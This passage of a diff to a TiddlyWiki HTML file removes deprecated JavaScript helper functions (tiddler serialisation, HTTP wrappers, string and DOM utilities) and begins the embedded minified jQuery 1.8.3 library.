-Tiddler.prototype.loadFromDiv = function(divRef,title)
-{
- return store.getLoader().internalizeTiddler(store,this,title,divRef);
-};
-
-// Format the text for storage in an HTML DIV
-// @Deprecated Use store.getSaver().externalizeTiddler instead.
-Tiddler.prototype.saveToDiv = function()
-{
- return store.getSaver().externalizeTiddler(store,this);
-};
-
-// @Deprecated: Use store.allTiddlersAsHtml() instead
-function allTiddlersAsHtml()
-{
- return store.allTiddlersAsHtml();
-}
-
-// @Deprecated: Use refreshPageTemplate instead
-function applyPageTemplate(title)
-{
- refreshPageTemplate(title);
-}
-
-// @Deprecated: Use story.displayTiddlers instead
-function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
-{
- story.displayTiddlers(srcElement,titles,template,animate);
-}
-
-// @Deprecated: Use story.displayTiddler instead
-function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
-{
- story.displayTiddler(srcElement,title,template,animate);
-}
-
-// @Deprecated: Use functions on right hand side directly instead
-var createTiddlerPopup = Popup.create;
-var scrollToTiddlerPopup = Popup.show;
-var hideTiddlerPopup = Popup.remove;
-
-// @Deprecated: Use right hand side directly instead
-var regexpBackSlashEn = new RegExp("\\\\n","mg");
-var regexpBackSlash = new RegExp("\\\\","mg");
-var regexpBackSlashEss = new RegExp("\\\\s","mg");
-var regexpNewLine = new RegExp("\n","mg");
-var regexpCarriageReturn = new RegExp("\r","mg");
-
-//--
-//-- Deprecated FileAdaptor functions
-//--
-
-FileAdaptor.loadTiddlyWikiCallback = function(status,context,responseText,url,xhr)
-{
- context.status = status;
- if(!status) {
- context.statusText = "Error reading file";
- } else {
- context.adaptor.store = new TiddlyWiki();
- if(!context.adaptor.store.importTiddlyWiki(responseText)) {
- context.statusText = config.messages.invalidFileError.format([url]);
- context.status = false;
- }
- }
- context.complete(context,context.userParams);
-};
-
-//--
-//-- Deprecated HTTP request code
-//-- Use the jQuery ajax functions directly instead
-//--
-
-function loadRemoteFile(url,callback,params)
-{
- return httpReq("GET",url,callback,params);
-}
-
-function doHttp(type,url,data,contentType,username,password,callback,params,headers,allowCache)
-{
- return httpReq(type,url,callback,params,headers,data,contentType,username,password,allowCache);
-}
-
-//--
-//-- Deprecated String functions
-//--
-
-// @Deprecated: no direct replacement, since not used in core code
-String.prototype.toJSONString = function()
-{
- // Convert a string to it's JSON representation by encoding control characters, double quotes and backslash. See json.org
- var m = {
- '\b': '\\b',
- '\f': '\\f',
- '\n': '\\n',
- '\r': '\\r',
- '\t': '\\t',
- '"' : '\\"',
- '\\': '\\\\'
- };
- var replaceFn = function(a,b) {
- var c = m[b];
- if(c)
- return c;
- c = b.charCodeAt();
- return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
- };
- if(/["\\\x00-\x1f]/.test(this))
- return '"' + this.replace(/([\x00-\x1f\\"])/g,replaceFn) + '"';
- return '"' + this + '"';
-};
-
-//--
-//-- Deprecated Tiddler code
-//--
-
-// @Deprecated: Use tiddlerToRssItem(tiddler,uri) instead
-Tiddler.prototype.toRssItem = function(uri)
-{
- return tiddlerToRssItem(this,uri);
-};
-
-// @Deprecated: Use "<item>\n" + tiddlerToRssItem(tiddler,uri) + "\n</item>" instead
-Tiddler.prototype.saveToRss = function(uri)
-{
- return "<item>\n" + tiddlerToRssItem(this,uri) + "\n</item>";
-};
-
-// @Deprecated: Use jQuery.encoding.digests.hexSha1Str instead
-Tiddler.prototype.generateFingerprint = function()
-{
- return "0x" + Crypto.hexSha1Str(this.text);
-};
-
-//--
-//-- Deprecated Number functions
-//--
-
-// @Deprecated: no direct replacement, since not used in core code
-// Clamp a number to a range
-Number.prototype.clamp = function(min,max)
-{
- var c = this;
- if(c < min)
- c = min;
- if(c > max)
- c = max;
- return Number(c);
-};
-
-//--
-//-- Deprecated utility functions
-//-- Use the jQuery functions directly instead
-//--
-
-// Remove all children of a node
-function removeChildren(e)
-{
- jQuery(e).empty();
-}
-
-// Remove a node and all it's children
-function removeNode(e)
-{
- jQuery(e).remove();
-}
-
-// Return the content of an element as plain text with no formatting
-function getPlainText(e)
-{
- return jQuery(e).text();
-}
-
-function addClass(e,className)
-{
- jQuery(e).addClass(className);
-}
-
-function removeClass(e,className)
-{
- jQuery(e).removeClass(className);
-}
-
-function hasClass(e,className)
-{
- return jQuery(e).hasClass(className);
-}
-
-//--
-//-- Deprecated Wikifier code
-//--
-
-function wikifyPlain(title,theStore,limit)
-{
- if(!theStore)
- theStore = store;
- if(theStore.tiddlerExists(title) || theStore.isShadowTiddler(title)) {
- return wikifyPlainText(theStore.getTiddlerText(title),limit,tiddler);
- } else {
- return "";
- }
-}
-
-
-//]]>
-</script>
-<script id="jslibArea" type="text/javascript">
-//<![CDATA[
-/*! jQuery v1.8.3 jquery.com | jquery.org/license */
-(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r<i;r++)v.event.add(t,n,u[n][r])}o.data&&(o.data=v.extend({},o.data))}function Ot(e,t){var n;if(t.nodeType!==1)return;t.clearAttributes&&t.clearAttributes(),t.mergeAttributes&&t.mergeAttributes(e),n=t.nodeName.toLowerCase(),n==="object"?(t.parentNode&&(t.outerHTML=e.outerHTML),v.support.html5Clone&&e.innerHTML&&!v.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):n==="input"&&Et.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):n==="option"?t.selected=e.defaultSelected:n==="input"||n==="textarea"?t.defaultValue=e.defaultValue:n==="script"&&t.text!==e.text&&(t.text=e.text),t.removeAttribute(v.expando)}function Mt(e){return typeof e.getElementsByTagName!="undefined"?e.getElementsByTagName("*"):typeof e.querySelectorAll!="undefined"?e.querySelectorAll("*"):[]}function _t(e){Et.test(e.type)&&(e.defaultChecked=e.checked)}function Qt(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Jt.length;while(i--){t=Jt[i]+n;if(t in e)return t}return r}function Gt(e,t){return e=t||e,v.css(e,"display")==="none"||!v.contains(e.ownerDocument,e)}function Yt(e,t){var n,r,i=[],s=0,o=e.length;for(;s<o;s++){n=e[s];if(!n.style)continue;i[s]=v._data(n,"olddisplay"),t?(!i[s]&&n.style.display==="none"&&(n.style.display=""),n.style.display===""&&Gt(n)&&(i[s]=v._data(n,"olddisplay",nn(n.nodeName)))):(r=Dt(n,"display"),!i[s]&&r!=="none"&&v._data(n,"olddisplay",r))}for(s=0;s<o;s++){n=e[s];if(!n.style)continue;if(!t||n.style.display==="none"||n.style.display==="")n.style.display=t?i[s]||"":"none"}return e}function Zt(e,t,n){var r=Rt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function en(e,t,n,r){var i=n===(r?"border":"content")?4:t==="width"?1:0,s=0;for(;i<4;i+=2)n==="margin"&&(s+=v.css(e,n+$t[i],!0)),r?(n==="content"&&(s-=parseFloat(Dt(e,"padding"+$t[i]))||0),n!=="margin"&&(s-=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0)):(s+=parseFloat(Dt(e,"padding"+$t[i]))||0,n!=="padding"&&(s+=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0));return s}function tn(e,t,n){var r=t==="width"?e.offsetWidth:e.offsetHeight,i=!0,s=v.support.boxSizing&&v.css(e,"boxSizing")==="border-box";if(r<=0||r==null){r=Dt(e,t);if(r<0||r==null)r=e.style[t];if(Ut.test(r))return r;i=s&&(v.support.boxSizingReliable||r===e.style[t]),r=parseFloat(r)||0}return r+en(e,t,n||(s?"border":"content"),i)+"px"}function nn(e){if(Wt[e])return Wt[e];var t=v("<"+e+">").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write("<!doctype html><html><body>"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u<a;u++)r=o[u],s=/^\+/.test(r),s&&(r=r.substr(1)||"*"),i=e[r]=e[r]||[],i[s?"unshift":"push"](n)}}function kn(e,n,r,i,s,o){s=s||n.dataTypes[0],o=o||{},o[s]=!0;var u,a=e[s],f=0,l=a?a.length:0,c=e===Sn;for(;f<l&&(c||!u);f++)u=a[f](n,r,i),typeof u=="string"&&(!c||o[u]?u=t:(n.dataTypes.unshift(u),u=kn(e,n,r,i,u,o)));return(c||!u)&&!o["*"]&&(u=kn(e,n,r,i,"*",o)),u}function Ln(e,n){var r,i,s=v.ajaxSettings.flatOptions||{};for(r in n)n[r]!==t&&((s[r]?e:i||(i={}))[r]=n[r]);i&&v.extend(!0,e,i)}function An(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes,l=e.responseFields;for(s in l)s in r&&(n[l[s]]=r[s]);while(f[0]==="*")f.shift(),i===t&&(i=e.mimeType||n.getResponseHeader("content-type"));if(i)for(s in a)if(a[s]&&a[s].test(i)){f.unshift(s);break}if(f[0]in r)o=f[0];else{for(s in r){if(!f[0]||e.converters[s+" "+f[0]]){o=s;break}u||(u=s)}o=o||u}if(o)return o!==f[0]&&f.unshift(o),r[o]}function On(e,t){var n,r,i,s,o=e.dataTypes.slice(),u=o[0],a={},f=0;e.dataFilter&&(t=e.dataFilter(t,e.dataType));if(o[1])for(n in e.converters)a[n.toLowerCase()]=e.converters[n];for(;i=o[++f];)if(i!=="*"){if(u!=="*"&&u!==i){n=a[u+" "+i]||a["* "+i];if(!n)for(r in a){s=r.split(" ");if(s[1]===i){n=a[u+" "+s[0]]||a["* "+s[0]];if(n){n===!0?n=a[r]:a[r]!==!0&&(i=s[0],o.splice(f--,0,i));break}}}if(n!==!0)if(n&&e["throws"])t=n(t);else try{t=n(t)}catch(l){return{state:"parsererror",error:n?l:"No conversion from "+u+" to "+i}}}u=i}return{state:"success",data:t}}function Fn(){try{return new e.XMLHttpRequest}catch(t){}}function In(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function $n(){return setTimeout(function(){qn=t},0),qn=v.now()}function Jn(e,t){v.each(t,function(t,n){var r=(Vn[t]||[]).concat(Vn["*"]),i=0,s=r.length;for(;i<s;i++)if(r[i].call(e,t,n))return})}function Kn(e,t,n){var r,i=0,s=0,o=Xn.length,u=v.Deferred().always(function(){delete a.elem}),a=function(){var t=qn||$n(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,i=1-r,s=0,o=f.tweens.length;for(;s<o;s++)f.tweens[s].run(i);return u.notifyWith(e,[f,i,n]),i<1&&o?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:v.extend({},t),opts:v.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qn||$n(),duration:n.duration,tweens:[],createTween:function(t,n,r){var i=v.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(i),i},stop:function(t){var n=0,r=t?f.tweens.length:0;for(;n<r;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;Qn(l,f.opts.specialEasing);for(;i<o;i++){r=Xn[i].call(f,e,l,f.opts);if(r)return r}return Jn(f,l),v.isFunction(f.opts.start)&&f.opts.start.call(e,f),v.fx.timer(v.extend(a,{anim:f,queue:f.opts.queue,elem:e})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function Qn(e,t){var n,r,i,s,o;for(n in e){r=v.camelCase(n),i=t[r],s=e[n],v.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),o=v.cssHooks[r];if(o&&"expand"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}}function Gn(e,t,n){var r,i,s,o,u,a,f,l,c,h=this,p=e.style,d={},m=[],g=e.nodeType&&Gt(e);n.queue||(l=v._queueHooks(e,"fx"),l.unqueued==null&&(l.unqueued=0,c=l.empty.fire,l.empty.fire=function(){l.unqueued||c()}),l.unqueued++,h.always(function(){h.always(function(){l.unqueued--,v.queue(e,"fx").length||l.empty.fire()})})),e.nodeType===1&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],v.css(e,"display")==="inline"&&v.css(e,"float")==="none"&&(!v.support.inlineBlockNeedsLayout||nn(e.nodeName)==="inline"?p.display="inline-block":p.zoom=1)),n.overflow&&(p.overflow="hidden",v.support.shrinkWrapBlocks||h.done(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){s=t[r];if(Un.exec(s)){delete t[r],a=a||s==="toggle";if(s===(g?"hide":"show"))continue;m.push(r)}}o=m.length;if(o){u=v._data(e,"fxshow")||v._data(e,"fxshow",{}),"hidden"in u&&(g=u.hidden),a&&(u.hidden=!g),g?v(e).show():h.done(function(){v(e).hide()}),h.done(function(){var t;v.removeData(e,"fxshow",!0);for(t in d)v.style(e,t,d[t])});for(r=0;r<o;r++)i=m[r],f=h.createTween(i,g?u[i]:0),d[i]=u[i]||v.style(e,i),i in u||(u[i]=f.start,g&&(f.end=f.start,f.start=i==="width"||i==="height"?1:0))}}function Yn(e,t,n,r,i){return new Yn.prototype.init(e,t,n,r,i)}function Zn(e,t){var n,r={height:e},i=0;t=t?1:0;for(;i<4;i+=2-t)n=$t[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function tr(e){return v.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n,r,i=e.document,s=e.location,o=e.navigator,u=e.jQuery,a=e.$,f=Array.prototype.push,l=Array.prototype.slice,c=Array.prototype.indexOf,h=Object.prototype.toString,p=Object.prototype.hasOwnProperty,d=String.prototype.trim,v=function(e,t){return new v.fn.init(e,t,n)},m=/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,g=/\S/,y=/\s+/,b=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,w=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a<f;a++)if((e=arguments[a])!=null)for(n in e){r=u[n],i=e[n];if(u===i)continue;l&&i&&(v.isPlainObject(i)||(s=v.isArray(i)))?(s?(s=!1,o=r&&v.isArray(r)?r:[]):o=r&&v.isPlainObject(r)?r:{},u[n]=v.extend(l,o,i)):i!==t&&(u[n]=i)}return u},v.extend({noConflict:function(t){return e.$===v&&(e.$=a),t&&e.jQuery===v&&(e.jQuery=u),v},isReady:!1,readyWait:1,holdReady:function(e){e?v.readyWait++:v.ready(!0)},ready:function(e){if(e===!0?--v.readyWait:v.isReady)return;if(!i.body)return setTimeout(v.ready,1);v.isReady=!0;if(e!==!0&&--v.readyWait>0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s<o;)if(n.apply(e[s++],r)===!1)break}else if(u){for(i in e)if(n.call(e[i],i,e[i])===!1)break}else for(;s<o;)if(n.call(e[s],s,e[s++])===!1)break;return e},trim:d&&!d.call("\ufeff\u00a0")?function(e){return e==null?"":d.call(e)}:function(e){return e==null?"":(e+"").replace(b,"")},makeArray:function(e,t){var n,r=t||[];return e!=null&&(n=v.type(e),e.length==null||n==="string"||n==="function"||n==="regexp"||v.isWindow(e)?f.call(r,e):v.merge(r,e)),r},inArray:function(e,t,n){var r;if(t){if(c)return c.call(t,e,n);r=t.length,n=n?n<0?Math.max(0,r+n):n:0;for(;n<r;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if(typeof r=="number")for(;s<r;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;n=!!n;for(;s<o;s++)r=!!t(e[s],s),n!==r&&i.push(e[s]);return i},map:function(e,n,r){var i,s,o=[],u=0,a=e.length,f=e instanceof v||a!==t&&typeof a=="number"&&(a>0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u<a;u++)i=n(e[u],u,r),i!=null&&(o[o.length]=i);else for(s in e)i=n(e[s],s,r),i!=null&&(o[o.length]=i);return o.concat.apply([],o)},guid:1,proxy:function(e,n){var r,i,s;return typeof n=="string"&&(r=e[n],n=e,e=r),v.isFunction(e)?(i=l.call(arguments,2),s=function(){return e.apply(n,i.concat(l.call(arguments)))},s.guid=e.guid=e.guid||v.guid++,s):t},access:function(e,n,r,i,s,o,u){var a,f=r==null,l=0,c=e.length;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readyState==="complete")setTimeout(v.ready,1);else if(i.addEventListener)i.addEventListener("DOMContentLoaded",A,!1),e.addEventListener("load",v.ready,!1);else{i.attachEvent("onreadystatechange",A),e.attachEvent("onload",v.ready);var n=!1;try{n=e.frameElement==null&&i.documentElement}catch(s){}n&&n.doScroll&&function o(){if(!v.isReady){try{n.doScroll("left")}catch(e){return setTimeout(o,50)}v.ready()}}()}}return r.promise(t)},v.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(e,t){O["[object "+t+"]"]=t.toLowerCase()}),n=v(i);var M={};v.Callbacks=function(e){e=typeof e=="string"?M[e]||_(e):v.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once&&[],l=function(t){n=e.memory&&t,r=!0,u=s||0,s=0,o=a.length,i=!0;for(;a&&u<o;u++)if(a[u].apply(t[0],t[1])===!1&&e.stopOnFalse){n=!1;break}i=!1,a&&(f?f.length&&l(f.shift()):n?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function r(t){v.each(t,function(t,n){var i=v.type(n);i==="function"?(!e.unique||!c.has(n))&&a.push(n):n&&n.length&&i!=="string"&&r(n)})})(arguments),i?o=a.length:n&&(s=t,l(n))}return this},remove:function(){return a&&v.each(arguments,function(e,t){var n;while((n=v.inArray(t,a,n))>-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t<r;t++)n[t]&&v.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i}return i||s.resolveWith(f,n),s.promise()}}),v.support=function(){var t,n,r,s,o,u,a,f,l,c,h,p=i.createElement("div");p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="<table><tr><td></td><td>t</td></tr></table>",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getC